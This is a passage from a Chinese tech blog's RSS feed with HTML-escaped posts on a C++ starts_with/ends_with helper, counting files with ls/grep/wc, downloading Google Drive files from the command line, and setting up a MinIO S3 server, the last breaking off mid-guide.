&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;ends_with_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;big&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;compare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;big_size&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;small_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;small_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;small&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;valid_&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;ends_with_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="c1"&gt;// namespace std
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;用法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;#34;string_predicate.hpp&amp;#34;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;compared&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Hello world!&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;world!&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;starts_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;compared&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ends_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;compared&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;wstring&lt;/span&gt; &lt;span class="n"&gt;wcompared&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;你好世界&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;wstring&lt;/span&gt; &lt;span class="n"&gt;wstart&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;你好&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;wstring&lt;/span&gt; &lt;span class="n"&gt;wend&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;世界&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;starts_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wcompared&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wstart&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ends_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wcompared&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wend&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;结果：&lt;/p&gt;</description></item><item><title>Linux统计文件夹下的文件数目</title><link>https://luodaoyi.com/posts/linux%E7%BB%9F%E8%AE%A1%E6%96%87%E4%BB%B6%E5%A4%B9%E4%B8%8B%E7%9A%84%E6%96%87%E4%BB%B6%E6%95%B0%E7%9B%AE-linux%E7%BB%9F%E8%AE%A1%E6%96%87%E4%BB%B6%E5%A4%B9%E4%B8%8B%E7%9A%84%E6%96%87%E4%BB%B6%E6%95%B0%E7%9B%AE/</link><pubDate>Thu, 13 Sep 2018 07:19:37 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/linux%E7%BB%9F%E8%AE%A1%E6%96%87%E4%BB%B6%E5%A4%B9%E4%B8%8B%E7%9A%84%E6%96%87%E4%BB%B6%E6%95%B0%E7%9B%AE-linux%E7%BB%9F%E8%AE%A1%E6%96%87%E4%BB%B6%E5%A4%B9%E4%B8%8B%E7%9A%84%E6%96%87%E4%BB%B6%E6%95%B0%E7%9B%AE/</guid><description>&lt;p&gt;Linux下有三个命令：&lt;code&gt;ls&lt;/code&gt;、&lt;code&gt;grep&lt;/code&gt;、&lt;code&gt;wc&lt;/code&gt;。通过这三个命令的组合可以统计目录下文件及文件夹的个数。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;统计当前目录下文件的个数（不包括目录）&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ ls -l &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;^-&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; wc -l
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;统计当前目录下文件的个数（包括子目录）&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ ls -lR&lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;^-&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; wc -l
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;查看某目录下文件夹(目录)的个数（包括子目录）&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls -lR &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;^d&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; wc -l
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;命令解析：&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>Linux 命令行下下载 Google Drive/Docs</title><link>https://luodaoyi.com/posts/linux-%E5%91%BD%E4%BB%A4%E8%A1%8C%E4%B8%8B%E4%B8%8B%E8%BD%BD-google-drivedocs-linux%E5%91%BD%E4%BB%A4%E8%A1%8C%E4%B8%8B%E4%B8%8B%E8%BD%BDgoogledrivedocs/</link><pubDate>Thu, 13 Sep 2018 06:07:10 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/linux-%E5%91%BD%E4%BB%A4%E8%A1%8C%E4%B8%8B%E4%B8%8B%E8%BD%BD-google-drivedocs-linux%E5%91%BD%E4%BB%A4%E8%A1%8C%E4%B8%8B%E4%B8%8B%E8%BD%BDgoogledrivedocs/</guid><description>&lt;p&gt;转载自 &lt;a href="https://onebox.site/archives/250.html"&gt;https://onebox.site/archives/250.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;说到如何在Linux命令行下下载&lt;strong&gt;Google网盘&lt;/strong&gt;（云端硬盘）的文件，第一个想到的应该是&lt;strong&gt;gdrive&lt;/strong&gt;（&lt;a href="https://github.com/prasmussen/gdrive" target="_blank" rel="noreferrer noopener"&gt;prasmussen/gdrive&lt;/a&gt;），这个脚本可以下载、上传、同步等功能，当然需要事先命令&lt;code&gt;gdrive about&lt;/code&gt;关联网盘，显然适合自己使用。&lt;/p&gt;</description></item><item><title>ubuntu 搭建S3服务 mino单机和集群集群</title><link>https://luodaoyi.com/posts/ubuntu-%E6%90%AD%E5%BB%BAs3%E6%9C%8D%E5%8A%A1-mino%E5%8D%95%E6%9C%BA%E5%92%8C%E9%9B%86%E7%BE%A4%E9%9B%86%E7%BE%A4-ubuntu%E6%90%AD%E5%BB%BAs3%E6%9C%8D%E5%8A%A1mino%E5%8D%95%E6%9C%BA%E5%92%8C%E9%9B%86%E7%BE%A4%E9%9B%86%E7%BE%A4/</link><pubDate>Fri, 15 Jun 2018 12:33:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ubuntu-%E6%90%AD%E5%BB%BAs3%E6%9C%8D%E5%8A%A1-mino%E5%8D%95%E6%9C%BA%E5%92%8C%E9%9B%86%E7%BE%A4%E9%9B%86%E7%BE%A4-ubuntu%E6%90%AD%E5%BB%BAs3%E6%9C%8D%E5%8A%A1mino%E5%8D%95%E6%9C%BA%E5%92%8C%E9%9B%86%E7%BE%A4%E9%9B%86%E7%BE%A4/</guid><description>&lt;h1 id="搭建mino-集群"&gt;搭建mino 集群&lt;/h1&gt;
&lt;h2 id="单机版"&gt;单机版&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 新建用户&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo useradd -r minio-user -s /sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo chown -R minio-user:minio-user /usr/local/bin/minio
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mkdir /usr/local/share/minio
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo chown -R minio-user:minio-user /usr/local/share/minio
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mkdir /etc/minio
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo chown -R minio-user:minio-user /etc/minio
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 记得替换 MINIO_VOLUMES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /etc/default/minio
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Local export path.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;MINIO_VOLUMES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;quot&lt;span class="p"&gt;;&lt;/span&gt;/tmp/minio/&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;quot&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Use if you want to run Minio on a custom port.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;MINIO_OPTS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;quot&lt;span class="p"&gt;;&lt;/span&gt;--address :443&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;quot&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;EOT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 替换key&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /etc/default/minio
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Access Key of the server.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;MINIO_ACCESS_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Server-Access-Key
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Secret key of the server.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;MINIO_SECRET_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Server-Secret-Key
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;EOT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 下载安装service文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; /etc/systemd/system/&lt;span class="p"&gt;;&lt;/span&gt; curl -O https://raw.githubusercontent.com/minio/minio-service/master/linux-systemd/minio.service &lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 记得替换 /etc/systemd/system/minio.service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 中user和group&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 重载配置&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl daemon-reload
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 开机启动&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl &lt;span class="nb"&gt;enable&lt;/span&gt; minio.service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl disable minio.service
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="集群版本"&gt;集群版本&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 新建用户&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;useradd minio-user -s /sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 记得替换 MINIO_VOLUMES&lt;/span&gt;
